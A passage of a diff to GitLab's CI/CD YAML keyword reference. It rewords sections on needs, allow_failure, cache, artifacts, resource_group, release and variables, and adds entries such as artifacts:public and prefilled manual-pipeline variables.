be wrapped -in double quotes or GitLab can't parse them. For example: +in double quotes or GitLab can't parse them: ```yaml test: @@ -1918,10 +1887,10 @@ the `build` job is still skipped. The job does not run for any of the files. Read more about how to use this feature with: -- [New branches or tags *without* pipelines for merge requests](#using-onlychanges-without-pipelines-for-merge-requests). -- [Scheduled pipelines](#using-onlychanges-with-scheduled-pipelines). +- [New branches or tags *without* pipelines for merge requests](#use-onlychanges-without-pipelines-for-merge-requests). +- [Scheduled pipelines](#use-onlychanges-with-scheduled-pipelines). -##### Using `only:changes` with pipelines for merge requests +##### Use `only:changes` with pipelines for merge requests With [pipelines for merge requests](../merge_request_pipelines/index.md), it's possible to define a job to be created based on files modified @@ -1971,7 +1940,7 @@ it doesn't matter that an earlier pipeline failed because of a change that has n When you use this configuration, ensure that the most recent pipeline properly corrects any failures from previous pipelines. -##### Using `only:changes` without pipelines for merge requests +##### Use `only:changes` without pipelines for merge requests Without [pipelines for merge requests](../merge_request_pipelines/index.md), pipelines run on branches or tags that don't have an explicit association with a merge request. @@ -1979,14 +1948,13 @@ In this case, a previous SHA is used to calculate the diff, which is equivalent This can result in some unexpected behavior, including: - When pushing a new branch or a new tag to GitLab, the policy always evaluates to true. -- When pushing a new commit, the changed files are calculated using the previous commit +- When pushing a new commit, the changed files are calculated by using the previous commit as the base SHA. -##### Using `only:changes` with scheduled pipelines +##### Use `only:changes` with scheduled pipelines -`only:changes` always evaluates as "true" in [Scheduled pipelines](../pipelines/schedules.md). -All files are considered to have "changed" when a scheduled pipeline -runs. +`only:changes` always evaluates as true in [Scheduled pipelines](../pipelines/schedules.md). +All files are considered to have changed when a scheduled pipeline runs. ### `needs` @@ -2056,15 +2024,17 @@ This example creates four paths of execution: - For GitLab.com, the limit is 50. For more information, see our [infrastructure issue](https://gitlab.com/gitlab-com/gl-infra/infrastructure/-/issues/7541). - For self-managed instances, the limit is: 50. This limit [can be changed](#changing-the-needs-job-limit). -- If `needs:` refers to a job that is marked as `parallel:`. - the current job depends on all parallel jobs being created. +- If `needs:` refers to a job that uses the [`parallel`](#parallel) keyword, + it depends on all jobs created in parallel, not just one job. It also downloads + artifacts from all the parallel jobs by default. If the artifacts have the same + name, they overwrite each other and only the last one downloaded is saved. - `needs:` is similar to `dependencies:` in that it must use jobs from prior stages, meaning it's impossible to create circular dependencies. Depending on jobs in the current stage is not possible either, but support [is planned](https://gitlab.com/gitlab-org/gitlab/-/issues/30632). - Related to the above, stages must be explicitly defined for all jobs that have the keyword `needs:` or are referred to by one. -##### Changing the `needs:` job limit **(CORE ONLY)** +##### Changing the `needs:` job limit **(FREE SELF)** The maximum number of jobs that can be defined in `needs:` defaults to 50. @@ -2081,14 +2051,11 @@ To disable directed acyclic graphs (DAG), set the limit to `0`. > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/14311) in GitLab v12.6. -When using `needs`, artifact downloads are controlled with `artifacts: true` (default) or `artifacts: false`. +Use `artifacts: true` (default) or `artifacts: false` to control when artifacts are +downloaded in jobs that use `needs`. -In GitLab 12.6 and later, you can't combine the [`dependencies`](#dependencies) keyword -with `needs` to control artifact downloads in jobs. `dependencies` is still valid -in jobs that do not use `needs`. - -In the example below, the `rspec` job downloads the `build_job` artifacts, while the -`rubocop` job doesn't: +In this example, the `rspec` job downloads the `build_job` artifacts, but the +`rubocop` job does not: ```yaml build_job: @@ -2110,9 +2077,11 @@ rubocop: artifacts: false ``` -Additionally, in the three syntax examples below, the `rspec` job downloads the artifacts -from all three `build_jobs`. `artifacts` is true for `build_job_1` and -**defaults** to true for both `build_job_2` and `build_job_3`. +In this example, the `rspec` job downloads the artifacts from all three `build_jobs`. +`artifacts` is: + +- Set to true for `build_job_1`. +- Defaults to true for both `build_job_2` and `build_job_3`. ```yaml rspec: @@ -2123,6 +2092,9 @@ rspec: - build_job_3 ``` +In GitLab 12.6 and later, you can't combine the [`dependencies`](#dependencies) keyword +with `needs`. + #### Cross project artifact downloads with `needs` **(PREMIUM)** > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/14311) in GitLab v12.7. @@ -2146,7 +2118,7 @@ build_job: `build_job` downloads the artifacts from the latest successful `build-1` job on the `master` branch in the `group/project-name` project. If the project is in the -same group or namespace, you can omit them from the `project:` key. For example, +same group or namespace, you can omit them from the `project:` keyword. For example, `project: group/project-name` or `project: project-name`. The user running the pipeline must have at least `reporter` access to the group or project, or the group/project must have public visibility. @@ -2171,7 +2143,7 @@ build_job: artifacts: true ``` -Environment variables support for `project:`, `job:`, and `ref` was [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/202093) +CI/CD variable support for `project:`, `job:`, and `ref` was [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/202093) in GitLab 13.3. [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/235761) in GitLab 13.4. For example: @@ -2280,10 +2252,11 @@ osx job: ### `allow_failure` Use `allow_failure` when you want to let a job fail without impacting the rest of the CI -suite. -The default value is `false`, except for [manual](#whenmanual) jobs using the -`when: manual` syntax, unless using [`rules:`](#rules) syntax, where all jobs -default to false, *including* `when: manual` jobs. +suite. The default value is `false`, except for [manual](#whenmanual) jobs that use +the `when: manual` syntax. + +In jobs that use [`rules:`](#rules), all jobs default to `allow_failure: false`, +*including* `when: manual` jobs. When `allow_failure` is set to `true` and the job fails, the job shows an orange warning in the UI. However, the logical flow of the pipeline considers the job a @@ -2318,13 +2291,7 @@ job3: #### `allow_failure:exit_codes` > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/273157) in GitLab 13.8. -> - It's [deployed behind a feature flag](../../user/feature_flags.md), enabled by default. -> - It's enabled on GitLab.com. -> - It's recommended for production use. -> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-allow_failureexit_codes). **(CORE ONLY)** - -WARNING: -This feature might not be available to you. Check the **version history** note above for details. +> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/292024) in GitLab 13.9. Use `allow_failure:exit_codes` to dynamically control if a job should be allowed to fail. You can list which exit codes are not considered failures. The job fails @@ -2348,31 +2315,12 @@ test_job_2: - 255 ``` -##### Enable or disable `allow_failure:exit_codes` **(CORE ONLY)** - -`allow_failure:exit_codes` is under development but ready for production use. It is -deployed behind a feature flag that is **enabled by default**. -[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md) -can disable it. - -To disable it: - -```ruby -Feature.disable(:ci_allow_failure_with_exit_codes) -``` - -To enable it: - -```ruby -Feature.enable(:ci_allow_failure_with_exit_codes) -``` - ### `when` -`when` is used to implement jobs that are run in case of failure or despite the +Use `when` to implement jobs that run in case of failure or despite the failure. -`when` can be set to one of the following values: +The valid values of `when` are: 1. `on_success` (default) - Execute job only when all jobs in earlier stages succeed, or are considered successful because they have `allow_failure: true`. @@ -2510,8 +2458,8 @@ by authorized users. Use `when: delayed` to execute scripts after a waiting period, or if you want to avoid jobs immediately entering the `pending` state. -You can set the period with `start_in` key. The value of `start_in` key is an elapsed time in seconds, unless a unit is -provided. `start_in` key must be less than or equal to one week. Examples of valid values include: +You can set the period with `start_in` keyword. The value of `start_in` is an elapsed time in seconds, unless a unit is +provided. `start_in` must be less than or equal to one week. Examples of valid values include: - `'5'` - `5 seconds` @@ -2519,13 +2467,13 @@ provided. `start_in` key must be less than or equal to one week. Examples of val - `1 day` - `1 week` -When there is a delayed job in a stage, the pipeline doesn't progress until the delayed job has finished. -This keyword can also be used for inserting delays between different stages. +When a stage includes a delayed job, the pipeline doesn't progress until the delayed job finishes. +You can use this keyword to insert delays between different stages. -The timer of a delayed job starts immediately after the previous stage has completed. -Similar to other types of jobs, a delayed job's timer doesn't start unless the previous stage passed. +The timer of a delayed job starts immediately after the previous stage completes. +Similar to other types of jobs, a delayed job's timer doesn't start unless the previous stage passes. -The following example creates a job named `timed rollout 10%` that is executed 30 minutes after the previous stage has completed: +The following example creates a job named `timed rollout 10%` that is executed 30 minutes after the previous stage completes: ```yaml timed rollout 10%: @@ -2535,7 +2483,7 @@ timed rollout 10%: start_in: 30 minutes ``` -You can stop the active timer of a delayed job by clicking the **{time-out}** (**Unschedule**) button. +To stop the active timer of a delayed job, click the **{time-out}** (**Unschedule**) button. This job can no longer be scheduled to run automatically. You can, however, execute the job manually. To start a delayed job immediately, click the **Play** button. @@ -2561,8 +2509,8 @@ deployment to the `production` environment. #### `environment:name` -The `environment: name` keyword can use any of the defined CI variables, -including predefined, secure, or `.gitlab-ci.yml` [`variables`](#variables). +The `environment: name` keyword can use any of the defined CI/CD [variables](#variables), +including predefined, secure, or variables defined in the `.gitlab-ci.yml` file. You can't use variables defined in a `script` section. @@ -2595,8 +2543,8 @@ deploy to production: #### `environment:url` -The `url` keyword can use any of the defined CI variables, -including predefined, secure, or `.gitlab-ci.yml` [`variables`](#variables). +The `environment:url` keyword can use any of the defined CI/CD [variables](#variables), +including predefined, secure, or variables defined in the `.gitlab-ci.yml` file. You can't use variables defined in a `script` section. @@ -2632,7 +2580,7 @@ Read the `environment:action` section for an example. > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/22191) in GitLab 8.13. -The `action` keyword can be used to specify jobs that prepare, start, or stop environments. +Use the `action` keyword to specify jobs that prepare, start, or stop environments. | **Value** | **Description** | |-----------|---------------------------------------------------------------------------------------------------------------------------------------------------------------| @@ -2718,7 +2666,7 @@ For more information, see > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/27630) in GitLab 12.6. -The `kubernetes` block is used to configure deployments to a +Use the `kubernetes` keyword to configure deployments to a [Kubernetes cluster](../../user/project/clusters/index.md) that is associated with your project. For example: @@ -2763,7 +2711,7 @@ deploy as review app: The `deploy as review app` job is marked as a deployment to dynamically create the `review/$CI_COMMIT_REF_NAME` environment. `$CI_COMMIT_REF_NAME` -is an [environment variable](../variables/README.md) set by the runner. The +is a [CI/CD variable](../variables/README.md) set by the runner. The `$CI_ENVIRONMENT_SLUG` variable is based on the environment name, but suitable for inclusion in URLs. If the `deploy as review app` job runs in a branch named `pow`, this environment would be accessible with a URL like `https://review-pow.example.com/`. @@ -2774,11 +2722,11 @@ as Review Apps. You can see an example that uses Review Apps at ### `cache` -`cache` is used to specify a list of files and directories that should be -cached between jobs. You can only use paths that are in the local working copy. +Use the `cache` keyword to specify a list of files and directories to +cache between jobs. You can only use paths that are in the local working copy. -If `cache` is defined outside the scope of jobs, it means it's set -globally and all jobs use that definition. +If `cache` is defined outside the scope of jobs, it's set +globally and all jobs use that configuration. Caching is shared between pipelines and jobs. Caches are restored before [artifacts](#artifacts). @@ -2789,7 +2737,7 @@ Read how caching works and find out some good practices in the Use the `paths` directive to choose which files or directories to cache. Paths are relative to the project directory (`$CI_PROJECT_DIR`) and can't directly link outside it. -Wildcards can be used that follow the [glob](https://en.wikipedia.org/wiki/Glob_(programming)) +You can use Wildcards that use [glob](https://en.wikipedia.org/wiki/Glob_(programming)) patterns and: - In [GitLab Runner 13.0](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/2620) and later, @@ -2864,7 +2812,7 @@ URI-encoded `%2F`. A value made only of dots (`.`, `%2E`) is also forbidden. You can specify a [fallback cache key](#fallback-cache-key) to use if the specified `cache:key` is not found. -#### Fallback cache key +##### Fallback cache key > [Introduced](https://gitlab.com/gitlab-org/gitlab-runner/-/merge_requests/1534) in GitLab Runner 13.4. @@ -2875,7 +2823,8 @@ to download cache that's tagged with `test`. If a cache with this tag is not found, you can use `CACHE_FALLBACK_KEY` to specify a cache to use when none exists. -For example: +In this example, if the `$CI_COMMIT_REF_SLUG` is not found, the job uses the key defined +by the `CACHE_FALLBACK_KEY` variable: ```yaml variables: @@ -2887,9 +2836,6 @@ cache: - binaries/ ``` -In this example, if the `$CI_COMMIT_REF_SLUG` is not found, the job uses the key defined -by the `CACHE_FALLBACK_KEY` variable. - ##### `cache:key:files` > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/18986) in GitLab v12.5. @@ -2900,7 +2846,7 @@ runs. When you include `cache:key:files`, you must also list the project files that are used to generate the key, up to a maximum of two files. The cache `key` is a SHA checksum computed from the most recent commits (up to two, if two files are listed) -that changed the given files. If neither file was changed in any commits, +that changed the given files. If neither file is changed in any commits, the fallback key is `default`. ```yaml @@ -2927,7 +2873,7 @@ use the new cache, instead of rebuilding the dependencies. When you want to combine a prefix with the SHA computed for `cache:key:files`, use the `prefix` keyword with `key:files`. For example, if you add a `prefix` of `test`, the resulting key is: `test-feef9576d21ee9b6a32e30c5c79d0a0ceb68d1e5`. -If neither file was changed in any commits, the prefix is added to `default`, so the +If neither file is changed in any commits, the prefix is added to `default`, so the key in the example would be `test-default`. Like `cache:key`, `prefix` can use any of the [predefined variables](../variables/README.md), @@ -3039,8 +2985,8 @@ rspec: - bundle exec rspec ... ``` -The `pull` policy speeds up job execution and reduces load on the cache server. It -can be used when you have many jobs that use caches executing in parallel. +Use the `pull` policy when you have many jobs executing in parallel that use caches. This +policy speeds up job execution and reduces load on the cache server. If you have a job that unconditionally recreates the cache without referring to its previous contents, you can skip the download step. @@ -3048,7 +2994,7 @@ To do so, add `policy: push` to the job. ### `artifacts` -`artifacts` is used to specify a list of files and directories that are +Use the `artifacts` keyword to specify a list of files and directories that are attached to the job when it [succeeds, fails, or always](#artifactswhen). The artifacts are sent to GitLab after the job finishes. They are @@ -3063,7 +3009,7 @@ artifacts are restored after [caches](#cache). #### `artifacts:paths` Paths are relative to the project directory (`$CI_PROJECT_DIR`) and can't directly -link outside it. Wildcards can be used that follow the [glob](https://en.wikipedia.org/wiki/Glob_(programming)) +link outside it. You can use Wildcards that use [glob](https://en.wikipedia.org/wiki/Glob_(programming)) patterns and: - In [GitLab Runner 13.0](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/2620) and later, @@ -3122,6 +3068,32 @@ job: - path/*xyz/* ``` +#### `artifacts:public` + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/49775) in GitLab 13.8 +> - It's [deployed behind a feature flag](../../user/feature_flags.md), disabled by default. +> - It's enabled on GitLab.com. +> - It's recommended for production use. + +Use `artifacts:public` to determine whether the job artifacts should be +publicly available. + +The default for `artifacts:public` is `true` which means that the artifacts in +public pipelines are available for download by anonymous and guest users: + +```yaml +artifacts: + public: true +``` + +To deny read access for anonymous and guest users to artifacts in public +pipelines, set `artifacts:public` to `false`: + +```yaml +artifacts: + public: false +``` + #### `artifacts:exclude` > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/15122) in GitLab 13.1 @@ -3131,9 +3103,9 @@ job: archive. Similar to [`artifacts:paths`](#artifactspaths), `exclude` paths are relative -to the project directory. Wildcards can be used that follow the -[glob](https://en.wikipedia.org/wiki/Glob_(programming)) patterns and -[`filepath.Match`](https://golang.org/pkg/path/filepath/#Match). +to the project directory. You can use Wildcards that use +[glob](https://en.wikipedia.org/wiki/Glob_(programming)) or +[`filepath.Match`](https://golang.org/pkg/path/filepath/#Match) patterns. For example, to store all files in `binaries/`, but not `*.o` files located in subdirectories of `binaries/`: @@ -3153,7 +3125,7 @@ Files matched by [`artifacts:untracked`](#artifactsuntracked) can be excluded us > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/15018) in GitLab 12.5. -The `expose_as` keyword can be used to expose [job artifacts](../pipelines/job_artifacts.md) +Use the `expose_as` keyword to expose [job artifacts](../pipelines/job_artifacts.md) in the [merge request](../../user/project/merge_requests/index.md) UI. For example, to match a single file: @@ -3270,8 +3242,8 @@ job: #### `artifacts:untracked` -`artifacts:untracked` is used to add all Git untracked files as artifacts (along -to the paths defined in `artifacts:paths`). `artifacts:untracked` ignores configuration +Use `artifacts:untracked` to add all Git untracked files as artifacts (along +with the paths defined in `artifacts:paths`). `artifacts:untracked` ignores configuration in the repository's `.gitignore` file. Send all Git untracked files: @@ -3301,7 +3273,7 @@ artifacts: #### `artifacts:when` -`artifacts:when` is used to upload artifacts on job failure or despite the +Use `artifacts:when` to upload artifacts on job failure or despite the failure. `artifacts:when` can be set to one of the following values: @@ -3361,12 +3333,14 @@ job: The latest artifacts for refs are locked against deletion, and kept regardless of the expiry time. [Introduced in](https://gitlab.com/gitlab-org/gitlab/-/issues/16267) GitLab 13.0 behind a disabled feature flag, and [made the default behavior](https://gitlab.com/gitlab-org/gitlab/-/issues/229936) -in GitLab 13.4. In [GitLab 13.8 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/241026), you can [disable this behavior in the CI/CD settings](../pipelines/job_artifacts.md#keep-artifacts-from-most-recent-successful-jobs). +in GitLab 13.4. + +In [GitLab 13.8 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/241026), you can [disable this behavior at the project level in the CI/CD settings](../pipelines/job_artifacts.md#keep-artifacts-from-most-recent-successful-jobs). In [GitLab 13.9 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/276583), you can [disable this behavior instance-wide](../../user/admin_area/settings/continuous_integration.md#keep-the-latest-artifacts-for-all-jobs-in-the-latest-successful-pipelines). #### `artifacts:reports` -The [`artifacts:reports` keyword](../pipelines/job_artifacts.md#artifactsreports) -is used for collecting test reports, code quality reports, and security reports from jobs. +Use [`artifacts:reports`](../pipelines/job_artifacts.md#artifactsreports) +to collect test reports, code quality reports, and security reports from jobs. It also exposes these reports in the GitLab UI (merge requests, pipeline views, and security dashboards). These are the available report types: @@ -3374,7 +3348,7 @@ These are the available report types: | Keyword | Description | |-----------------------------------------------------------------------------------------------------------------------------|----------------------------------------------------------------------------------| | [`artifacts:reports:cobertura`](../pipelines/job_artifacts.md#artifactsreportscobertura) | The `cobertura` report collects Cobertura coverage XML files. | -| [`artifacts:reports:codequality`](../pipelines/job_artifacts.md#artifactsreportscodequality) | The `codequality` report collects CodeQuality issues. | +| [`artifacts:reports:codequality`](../pipelines/job_artifacts.md#artifactsreportscodequality) | The `codequality` report collects Code Quality issues. | | [`artifacts:reports:container_scanning`](../pipelines/job_artifacts.md#artifactsreportscontainer_scanning) **(ULTIMATE)** | The `container_scanning` report collects Container Scanning vulnerabilities. | | [`artifacts:reports:dast`](../pipelines/job_artifacts.md#artifactsreportsdast) **(ULTIMATE)** | The `dast` report collects Dynamic Application Security Testing vulnerabilities. | | [`artifacts:reports:dependency_scanning`](../pipelines/job_artifacts.md#artifactsreportsdependency_scanning) **(ULTIMATE)** | The `dependency_scanning` report collects Dependency Scanning vulnerabilities. | @@ -3385,7 +3359,7 @@ These are the available report types: | [`artifacts:reports:load_performance`](../pipelines/job_artifacts.md#artifactsreportsload_performance) **(PREMIUM)** | The `load_performance` report collects load performance metrics. | | [`artifacts:reports:metrics`](../pipelines/job_artifacts.md#artifactsreportsmetrics) **(PREMIUM)** | The `metrics` report collects Metrics. | | [`artifacts:reports:performance`](../pipelines/job_artifacts.md#artifactsreportsperformance) **(PREMIUM)** | The `performance` report collects Browser Performance metrics. | -| [`artifacts:reports:sast`](../pipelines/job_artifacts.md#artifactsreportssast) **(ULTIMATE)** | The `sast` report collects Static Application Security Testing vulnerabilities. | +| [`artifacts:reports:sast`](../pipelines/job_artifacts.md#artifactsreportssast) | The `sast` report collects Static Application Security Testing vulnerabilities. | | [`artifacts:reports:terraform`](../pipelines/job_artifacts.md#artifactsreportsterraform) | The `terraform` report collects Terraform `tfplan.json` files. | #### `dependencies` @@ -3403,7 +3377,7 @@ An error occurs if you define jobs from the current or an upcoming stage. To prevent a job from downloading artifacts, define an empty array. When you use `dependencies`, the status of the previous job is not considered. -If a job fails or it's a manual job that was not run, no error occurs. +If a job fails or it's a manual job that isn't triggered, no error occurs. The following example defines two jobs with artifacts: `build:osx` and `build:linux`. When the `test:osx` is executed, the artifacts from `build:osx` @@ -3449,7 +3423,7 @@ deploy: > Introduced in GitLab 10.3. -If the artifacts of the job that is set as a dependency have been +If the artifacts of the job that is set as a dependency are [expired](#artifactsexpire_in) or [erased](../pipelines/job_artifacts.md#erasing-artifacts), then the dependent job fails. @@ -3478,7 +3452,7 @@ job1: The coverage is shown in the UI if at least one line in the job output matches the regular expression. If there is more than one matched line in the job output, the last line is used. -For the matched line, the first occurence of `\d+(\.\d+)?` is the code coverage. +For the matched line, the first occurrence of `\d+(\.\d+)?` is the code coverage. Leading zeros are removed. Coverage output from [child pipelines](../parent_child_pipelines.md) is not recorded @@ -3554,15 +3528,15 @@ Possible values for `when` are: - `script_failure`: Retry when the script failed. - `api_failure`: Retry on API failure. - `stuck_or_timeout_failure`: Retry when the job got stuck or timed out. -- `runner_system_failure`: Retry if there was a runner system failure (for example, job setup failed). -- `missing_dependency_failure`: Retry if a dependency was missing. -- `runner_unsupported`: Retry if the runner was unsupported. +- `runner_system_failure`: Retry if there is a runner system failure (for example, job setup failed). +- `missing_dependency_failure`: Retry if a dependency is missing. +- `runner_unsupported`: Retry if the runner is unsupported. - `stale_schedule`: Retry if a delayed job could not be executed. - `job_execution_timeout`: Retry if the script exceeded the maximum execution time set for the job. - `archived_failure`: Retry if the job is archived and can't be run. - `unmet_prerequisites`: Retry if the job failed to complete prerequisite tasks. - `scheduler_failure`: Retry if the scheduler failed to assign the job to a runner. -- `data_integrity_failure`: Retry if there was a structural integrity problem detected. +- `data_integrity_failure`: Retry if there is a structural integrity problem detected. You can specify the number of [retry attempts for certain stages of job execution](../runners/README.md#job-stages-attempts) using variables. @@ -3603,7 +3577,7 @@ test: ``` Every parallel job has a `CI_NODE_INDEX` and `CI_NODE_TOTAL` -[environment variable](../variables/README.md#predefined-environment-variables) set. +[predefined CI/CD variable](../variables/README.md#predefined-cicd-variables) set. Different languages and test suites have different methods to enable parallelization. For example, use [Semaphore Test Boosters](https://github.com/renderedtext/test-boosters) @@ -3640,9 +3614,9 @@ but with different variable values for each instance of the job. There can be from 2 to 50 jobs. Jobs can only run in parallel if there are multiple runners, or a single runner is -[configured to run multiple jobs concurrently](#using-your-own-runners). +[configured to run multiple jobs concurrently](#use-your-own-runners). -Every job gets the same `CI_NODE_TOTAL` [environment variable](../variables/README.md#predefined-environment-variables) value, and a unique `CI_NODE_INDEX` value. +Every job gets the same `CI_NODE_TOTAL` [CI/CD variable](../variables/README.md#predefined-cicd-variables) value, and a unique `CI_NODE_INDEX` value. ```yaml deploystacks: @@ -3699,10 +3673,10 @@ deploystacks: ### `trigger` > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/8997) in [GitLab Premium](https://about.gitlab.com/pricing/) 11.8. -> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/199224) to GitLab Core in 12.8. +> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/199224) to GitLab Free in 12.8. -Use `trigger` to define a downstream pipeline trigger. When GitLab starts a job created -with a `trigger` definition, a downstream pipeline is created. +Use `trigger` to define a downstream pipeline trigger. When GitLab starts a `trigger` job, +a downstream pipeline is created. Jobs with `trigger` can only use a [limited set of keywords](../multi_project_pipelines.md#limitations). For example, you can't run commands with [`script`](#script), [`before_script`](#before_script), @@ -3777,7 +3751,7 @@ upstream_bridge: > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/16094) in GitLab 12.7. To create a [child pipeline](../parent_child_pipelines.md), specify the path to the -YAML file containing the CI config of the child pipeline: +YAML file that contains the configuration of the child pipeline: ```yaml trigger_job: @@ -3871,10 +3845,10 @@ The trigger token is different than the [`trigger`](#trigger) keyword. > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/32022) in GitLab 12.3. -`interruptible` is used to indicate that a running job should be canceled if made redundant by a newer pipeline run. +Use `interruptible` to indicate that a running job should be canceled if made redundant by a newer pipeline run. Defaults to `false` (uninterruptible). Jobs that have not started yet (pending) are considered interruptible and safe to be cancelled. -This value is used only if the [automatic cancellation of redundant pipelines feature](../pipelines/settings.md#auto-cancel-pending-pipelines) +This value is used only if the [automatic cancellation of redundant pipelines feature](../pipelines/settings.md#auto-cancel-redundant-pipelines) is enabled. When enabled, a pipeline is immediately canceled when a new pipeline starts on the same branch if either of the following is true: @@ -3924,11 +3898,11 @@ When an uninterruptible job is running, the pipeline cannot be canceled, regardl Sometimes running multiple jobs or pipelines at the same time in an environment can lead to errors during the deployment. -To avoid these errors, the `resource_group` attribute can be used to ensure that +To avoid these errors, use the `resource_group` attribute to make sure that the runner doesn't run certain jobs simultaneously. Resource groups behave similar to semaphores in other programming languages. -When the `resource_group` key is defined for a job in `.gitlab-ci.yml`, +When the `resource_group` keyword is defined for a job in the `.gitlab-ci.yml` file, job executions are mutually exclusive across different pipelines for the same project. If multiple jobs belonging to the same resource group are enqueued simultaneously, only one of the jobs is picked by the runner. The other jobs wait until the @@ -3954,13 +3928,67 @@ It can't start or end with `/`. For more information, see [Deployments Safety](../environments/deployment_safety.md). +#### Pipeline-level concurrency control with Cross-Project/Parent-Child pipelines + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/39057) in GitLab 13.9. + +You can define `resource_group` for downstream pipelines that are sensitive to concurrent +executions. The [`trigger` keyword](#trigger) can trigger downstream pipelines. The +[`resource_group` keyword](#resource_group) can co-exist with it. This is useful to control the +concurrency for deployment pipelines, while running non-sensitive jobs concurrently. + +This example has two pipeline configurations in a project. When a pipeline starts running, +non-sensitive jobs are executed first and aren't affected by concurrent executions in other +pipelines. However, GitLab ensures that there are no other deployment pipelines running before +triggering a deployment (child) pipeline. If other deployment pipelines are running, GitLab waits +until those pipelines finish before running another one. + +```yaml +# .gitlab-ci.yml (parent pipeline) + +build: + stage: build + script: echo "Building..." + +test: + stage: test + script: echo "Testing..." + +deploy: + stage: deploy + trigger: + include: deploy.gitlab-ci.yml + strategy: depend + resource_group: AWS-production +``` + +```yaml +# deploy.gitlab-ci.yml (child pipeline) + +stages: + - provision + - deploy + +provision: + stage: provision + script: echo "Provisioning..." + +deployment: + stage: deploy + script: echo "Deploying..." +``` + +Note that you must define [`strategy: depend`](#linking-pipelines-with-triggerstrategy) +with the `trigger` keyword. This ensures that the lock isn't released until the downstream pipeline +finishes. + ### `release` > [Introduced](https://gitlab.com/gitlab-org/gitlab/merge_requests/19298) in GitLab 13.2. `release` indicates that the job creates a [Release](../../user/project/releases/index.md). -These methods are supported: +These keywords are supported: - [`tag_name`](#releasetag_name) - [`description`](#releasedescription) @@ -3983,7 +4011,7 @@ image: registry.gitlab.com/gitlab-org/release-cli:latest #### Script All jobs except [trigger](#trigger) jobs must have the `script` keyword. A `release` -job can use the output from script commands, but a placeholder script can be used if +job can use the output from script commands, but you can use a placeholder script if the script is not needed: ```yaml @@ -4055,7 +4083,7 @@ description. You can specify a file in `$CI_PROJECT_DIR` that contains the description. The file must be relative to the project directory (`$CI_PROJECT_DIR`), and if the file is a symbolic link it can't reside -outside of `$CI_PROJECT_DIR`. The `./path/to/file` and file name can't contain spaces. +outside of `$CI_PROJECT_DIR`. The `./path/to/file` and filename can't contain spaces. ```yaml job: @@ -4086,7 +4114,7 @@ released_at: '2021-03-15T08:00:00Z' Combining the individual examples given above for `release` results in the following code snippets. There are two options, depending on how you generate the -tags. These options cannot be used together, so choose one: +tags. You can't use these options together, so choose one: - To create a release when you push a Git tag, or when you add a Git tag in the UI by going to **Repository > Tags**: @@ -4179,10 +4207,10 @@ release-cli create --name "Release $CI_COMMIT_SHA" --description "Created using > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/33014) in GitLab 13.4. -`secrets` indicates the [CI Secrets](../secrets/index.md) this job needs. It should be a hash, -and the keys should be the names of the environment variables that are made available to the job. +`secrets` indicates the [CI/CD Secrets](../secrets/index.md) this job needs. It should be a hash, +and the keys should be the names of the variables that are made available to the job. The value of each secret is saved in a temporary file. This file's path is stored in these -environment variables. +variables. #### `secrets:vault` **(PREMIUM)** @@ -4226,8 +4254,8 @@ job: ### `pages` -`pages` is a special job that is used to upload static content to GitLab that -can be used to serve your website. It has a special syntax, so the two +`pages` is a special job that uploads static content to GitLab that +is then published as a website. It has a special syntax, so the two requirements below must be met: - Any static content must be placed under a `public/` directory. @@ -4262,9 +4290,10 @@ They can be set globally and per-job. There are two types of variables. -- [Custom variables](../variables/README.md#custom-environment-variables): +- [Custom variables](../variables/README.md#custom-cicd-variables): You can define their values in the `.gitlab-ci.yml` file, in the GitLab UI, - or by using the API. + or by using the API. You can also input variables in the GitLab UI when + [running a pipeline manually](../pipelines/index.md#run-a-pipeline-manually). - [Predefined variables](../variables/predefined_variables.md): These values are set by the runner itself. One example is `CI_COMMIT_REF_NAME`, which is the branch or tag the project is built for. @@ -4297,13 +4326,27 @@ meaning it applies to all jobs. If you define a variable in a job, it's availabl to that job only. If a variable of the same name is defined globally and for a specific job, the -[job-specific variable is used](../variables/README.md#priority-of-environment-variables). +[job-specific variable overrides the global variable](../variables/README.md#priority-of-cicd-variables). All YAML-defined variables are also set to any linked [Docker service containers](../docker/using_docker_images.md#what-is-a-service). You can use [YAML anchors for variables](#yaml-anchors-for-variables). +### Prefill variables in manual pipelines + +> [Introduced in](https://gitlab.com/gitlab-org/gitlab/-/issues/30101) GitLab 13.7. + +You can use the `value` and `description` keywords to define [variables that are prefilled](../pipelines/index.md#prefill-variables-in-manual-pipelines) +when [running a pipeline manually](../pipelines/index.md#run-a-pipeline-manually): + +```yaml +variables: + DEPLOY_ENVIRONMENT: + value: "staging" # Deploy to staging by default + description: "The deployment target. Change this variable to 'canary' or 'production' if needed." +``` + ### Configure runner behavior with variables You can use [CI/CD variables](../variables/README.md) to configure runner Git behavior: @@ -4315,6 +4358,9 @@ You can use [CI/CD variables](../variables/README.md) to configure runner Git be - [`GIT_FETCH_EXTRA_FLAGS`](../runners/README.md#git-fetch-extra-flags) - [`GIT_DEPTH`](../runners/README.md#shallow-cloning) (shallow cloning) - [`GIT_CLONE_PATH`](../runners/README.md#custom-build-directories) (custom build directories) +- 